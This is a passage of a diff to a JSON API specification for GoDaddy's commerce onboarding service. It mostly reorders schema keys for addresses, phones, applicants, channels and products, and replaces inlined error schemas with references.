kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" }, "customerId": { "description": "Unique ID for GoDaddy customer", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "email": { "$id": "https://godaddy.com/schemas/common/email-address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", "description": "A valid, internationalized email address. Note: Up to 64 characters are allowed before and 255 characters are allowed after the @ sign. However, the generally accepted maximum length for an email address is 254 characters. The pattern verifies that an unquoted @ sign exists.", - "type": "string", - "minLength": 3, "maxLength": 254, - "pattern": "^.+@[^\"\\-].+$" + "minLength": 3, + "pattern": "^.+@[^\"\\-].+$", + "type": "string" + }, + "firstName": { + "description": "First name of the applicant", + "maxLength": 64, + "minLength": 2, + "type": "string" + }, + "id": { + "description": "Unique ID for the Individual", + "readOnly": true, + "type": "string" + }, + "ip": { + "description": "IP Address of the applicant", + "format": "ipv4", + "type": "string" + }, + "lastName": { + "description": "Last name of the applicant", + "maxLength": 64, + "minLength": 2, + "type": "string" + }, + "leadId": { + "description": "Unique Lead ID", + "maxLength": 64, + "type": "string" }, "phone": { "$id": "https://godaddy.com/schemas/common/phone.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", "properties": { "countryCode": { - "type": "string", "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" + "pattern": "^[0-9]{1,3}?$", + "type": "string" }, "extensionNumber": { - "type": "string", "description": "The extension number.", - "minLength": 1, "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" } }, "required": [ "countryCode", "nationalNumber" - ] - }, - "firstName": { - "description": "First name of the applicant", - "type": "string", - "minLength": 2, - "maxLength": 64 - }, - "ip": { - "description": "IP Address of the applicant", - "type": "string", - "format": "ipv4" - }, - "lastName": { - "description": "Last name of the applicant", - "type": "string", - "minLength": 2, - "maxLength": 64 - }, - "leadId": { - "description": "Unique Lead ID", - "type": "string", - "maxLength": 64 + ], + "title": "Phone", + "type": "object" }, "type": { - "description": "Type of applicant", - "type": "string", "default": "APPLICANT", + "description": "Type of applicant", "enum": [ "APPLICANT", "OWNER", "OWNER_APPLICANT" - ] + ], + "type": "string" }, "userId": { "description": "Unique User ID", - "type": "string", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, "visitorId": { "description": "The visitor id that was created during an anonymous visit", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" } }, "required": [ "email" - ] - } - }, - "company": null, - "store": null, - "channel": { - "$id": "https://godaddy.com/schemas/commerce/onboarding/store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Channel", - "description": "An abstraction of data to create a channel", - "type": "object", - "properties": { - "id": { - "description": "Unique ID for the channel", - "type": "string", - "readOnly": true - }, - "name": { - "description": "Channel name", - "type": "string", - "minLength": 3, - "maxLength": 128 - }, - "externalChannelId": { - "description": "Unique ID what represents an external resource", - "type": "string", - "maxLength": 36 - }, - "externalChannelType": { - "description": "A term what represents the external channel id", - "type": "string", - "maxLength": 128 - } + ], + "title": "Individual", + "type": "object" }, - "required": [ - "name" - ] + "type": "array" + }, + "intent": { + "default": "CREATE_BUSINESS", + "description": "Identifies the type of onboarding application that is being requested for the commerce account", + "enum": [ + "CREATE_BUSINESS", + "ADD_STORE", + "ADD_CHANNEL", + "ADD_PRODUCT" + ], + "type": "string" }, "metadata": { "description": "Additional parameters to create a specific type of application", - "type": "object", "properties": { + "applicationLevel": { + "description": "Current Application Level — i.e. BASIC, FULL", + "enum": [ + "BASIC", + "FULL" + ], + "readOnly": true, + "type": "string" + }, + "applicationStatus": { + "description": "The current status of the application", + "enum": [ + "INCOMPLETE", + "PENDING_FULL_APPLICATION", + "IN_REVIEW", + "APPROVED", + "DECLINED" + ], + "readOnly": true, + "type": "string" + }, "businessId": { "description": "Unique ID for the business", - "type": "string", - "format": "uuid" - }, - "storeId": { - "description": "Unique ID for the store", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "channelId": { "description": "Unique ID for the channel", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "context": { "description": "Header context", - "type": "string", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "medium": { "description": "The page or entity relating to this account. Ex. FacebookLP, Email, My Account", - "type": "string", - "maxLength": 64 - }, - "source": { - "description": "The point of origin that started this process", - "type": "string", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, "referralUrlId": { "description": "The ID what was setup for a Distributor Merchant URL", - "type": "string", - "maxLength": 256 + "maxLength": 256, + "type": "string" }, - "applicationLevel": { - "description": "Current Application Level — i.e. BASIC, FULL", - "type": "string", - "readOnly": true, - "enum": [ - "BASIC", - "FULL" - ] + "source": { + "description": "The point of origin that started this process", + "maxLength": 64, + "type": "string" }, - "applicationStatus": { - "description": "The current status of the application", - "type": "string", - "readOnly": true, - "enum": [ - "INCOMPLETE", - "PENDING_FULL_APPLICATION", - "IN_REVIEW", - "APPROVED", - "DECLINED" - ] + "storeId": { + "description": "Unique ID for the store", + "format": "uuid", + "type": "string" } - } - }, - "intent": { - "description": "Identifies the type of onboarding application that is being requested for the commerce account", - "type": "string", - "default": "CREATE_BUSINESS", - "enum": [ - "CREATE_BUSINESS", - "ADD_STORE", - "ADD_CHANNEL", - "ADD_PRODUCT" - ] + }, + "type": "object" }, "products": { "description": "List of GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/onboarding/product.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Product", "description": "GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", - "type": "object", "properties": { + "features": { + "description": "Optional capabilities/functionalities associated with GoDaddy offered Product", + "items": { + "default": [], + "enum": [ + "TIP_ENABLED" + ], + "type": "string" + }, + "type": "array" + }, "id": { "description": "Unique ID for the product", - "type": "string", - "readOnly": true + "readOnly": true, + "type": "string" }, "name": { "description": "Product name", - "type": "string", "enum": [ "PAYMENTS" - ] - }, - "features": { - "description": "Optional capabilities/functionalities associated with GoDaddy offered Product", - "type": "array", - "items": { - "type": "string", - "default": [], - "enum": [ - "TIP_ENABLED" - ] - } + ], + "type": "string" } - } - } + }, + "title": "Product", + "type": "object" + }, + "type": "array" }, - "commerceAccountFeatures": { - "description": "Optional capabilities/functionalities associated with commerce account", - "type": "array", - "items": { - "type": "string", - "default": [], - "enum": [ - "NO_EMAIL_COMMUNICATIONS" - ] - } + "store": { + "$ref": "./Store.yaml" } }, "required": [ "intent" - ] + ], + "title": "Onboarding Application", + "type": "object" + } + }, + "404": { + "description": "Not found", + "schema": { + "$ref": "./common-types/error.json" + } + }, + "400": { + "description": "Bad request", + "schema": { + "$ref": "./common-types/error.json" + } + } + }, + "scopes": [ + "commerce.onboarding:write" + ] + }, + { + "operationId": "patchOnboardingApplication", + "method": "POST", + "path": "/onboarding-applications/{onboardingApplicationId}/onboard", + "summary": "Start onboarding a merchant", + "description": "Start the onboarding process for an existing application", + "parameters": [ + { + "name": "onboardingApplicationId", + "in": "path", + "required": false, + "schema": { + "type": "string" + } + } + ], + "responses": { + "404": { + "description": "Not found", + "schema": { + "$ref": "./common-types/error.json" } }, "400": { "description": "Bad request", "schema": { - "$id": "https://godaddy.com/schemas/common/error.v1", + "$ref": "./common-types/error.json" + } + }, + "200": { + "description": "Onboarded an existing onboarding application", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/onboarding/application-request.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Error", - "description": "The error information.", - "definitions": { - "error-details": { - "$id": "https://godaddy.com/schemas/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] - }, - "link-description": { - "$id": "https://godaddy.com/schemas/common/link-description.v1", + "description": "This model represents the application which is use to begin the onboarding process", + "properties": { + "channel": { + "$id": "https://godaddy.com/schemas/commerce/onboarding/store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "description": "An abstraction of data to create a channel", "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "externalChannelId": { + "description": "Unique ID what represents an external resource", + "maxLength": 36, "type": "string" }, - "title": { - "description": "The link title.", + "externalChannelType": { + "description": "A term what represents the external channel id", + "maxLength": 128, "type": "string" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "id": { + "description": "Unique ID for the channel", + "readOnly": true, "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "name": { + "description": "Channel name", + "maxLength": 128, + "minLength": 3, "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ - "rel", - "href" - ] - } - }, - "properties": { - "name": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "correlationId": { - "type": "string", - "description": "Internal identifier used for correlation purposes." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - }, - "informationLink": { - "type": "string", - "description": "The URI for detailed information related to this error for the developer." - }, - "details": { - "type": "array", - "description": "An array of additional details about the error. Required for client-side `4XX` errors.", - "additionalItems": false, - "items": { - "$id": "https://godaddy.com/schemas/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] - } + "name" + ], + "title": "Channel", + "type": "object" }, - "links": { - "type": "array", - "description": "An array of error-related HATEOAS links.", - "readOnly": true, + "commerceAccountFeatures": { + "description": "Optional capabilities/functionalities associated with commerce account", "items": { - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "name", - "correlationId", - "message" - ] - } - }, - "404": { - "description": "Not found", - "schema": { - "$id": "https://godaddy.com/schemas/common/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Error", - "description": "The error information.", - "definitions": { - "error-details": { - "$id": "https://godaddy.com/schemas/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] - }, - "link-description": { - "$id": "https://godaddy.com/schemas/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } + "default": [], + "enum": [ + "NO_EMAIL_COMMUNICATIONS" + ], + "type": "string" }, - "required": [ - "rel", - "href" - ] - } - }, - "properties": { - "name": { - "type": "string", - "description": "The human-readable, unique name of the error." + "type": "array" }, - "correlationId": { - "type": "string", - "description": "Internal identifier used for correlation purposes." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - }, - "informationLink": { - "type": "string", - "description": "The URI for detailed information related to this error for the developer." - }, - "details": { - "type": "array", - "description": "An array of additional details about the error. Required for client-side `4XX` errors.", - "additionalItems": false, - "items": { - "$id": "https://godaddy.com/schemas/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] - } + "company": { + "$ref": "./Company.yaml" }, - "links": { - "type": "array", - "description": "An array of error-related HATEOAS links.", - "readOnly": true, - "items": { - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "name", - "correlationId", - "message" - ] - } - } - }, - "scopes": [ - "commerce.onboarding:write" - ] - }, - { - "operationId": "patchOnboardingApplication", - "method": "POST", - "path": "/onboarding-applications/{onboardingApplicationId}/onboard", - "summary": "Start onboarding a merchant", - "description": "Start the onboarding process for an existing application", - "parameters": [ - { - "name": "onboardingApplicationId", - "in": "path", - "required": false, - "schema": { - "type": "string" - } - } - ], - "responses": { - "200": { - "description": "Onboarded an existing onboarding application", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/onboarding/application-request.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Onboarding Application", - "type": "object", - "description": "This model represents the application which is use to begin the onboarding process", - "properties": { "id": { "description": "Unique ID for the application", - "type": "string", - "readOnly": true + "readOnly": true, + "type": "string" }, "individuals": { "description": "A list of applicants", - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/onboarding/individual.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Individual", "description": "Business account owner or the person filling out the application (applicant)", - "type": "object", "properties": { - "id": { - "description": "Unique ID for the Individual", - "type": "string", - "readOnly": true - }, "address": { "$id": "https://godaddy.com/schemas/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, "addressDetails": { - "type": "object", - "title": "Address Details", "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" }, "buildingName": { "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" }, "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", + "description": "The geographic latitude and longitude coordinates.", "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" } }, "required": [ "longitude", "latitude" - ] + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } - } - } - }, - "required": [ - "countryCode" - ] - }, - "customerId": { - "description": "Unique ID for GoDaddy customer", - "type": "string", - "format": "uuid" - }, - "email": { - "$id": "https://godaddy.com/schemas/common/email-address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "description": "A valid, internationalized email address. Note: Up to 64 characters are allowed before and 255 characters are allowed after the @ sign. However, the generally accepted maximum length for an email address is 254 characters. The pattern verifies that an unquoted @ sign exists.", - "type": "string", - "minLength": 3, - "maxLength": 254, - "pattern": "^.+@[^\"\\-].+$" - }, - "phone": { - 